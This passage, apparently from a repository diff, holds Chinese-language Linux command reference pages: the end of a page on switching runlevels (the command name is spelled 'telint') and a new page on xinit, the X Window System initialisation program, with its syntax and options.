**telint命令** 用于切换当前正在运行的Linux系统的运行等级。
### 语法
```
telint(选项)(参数)
```
### 选项
```
-t指定等待的秒数。
```
### 参数
运行等级:指定要切换的运行等级。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

23
command/xinit.md Normal file
View File

@ -0,0 +1,23 @@
xinit
===
是Linux下X-Window系统的初始化程序
## 补充说明
**xinit命令** 是Linux下X-Window系统的初始化程序主要完成X服务器的初始化设置。
### 语法
```
xinit(参数)
```
### 参数
* 客户端选项:客户端指令及选项;
* --:用于区分客户端选项和服务器端选项;
* 服务器端选项:服务器端选项指令及选项。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->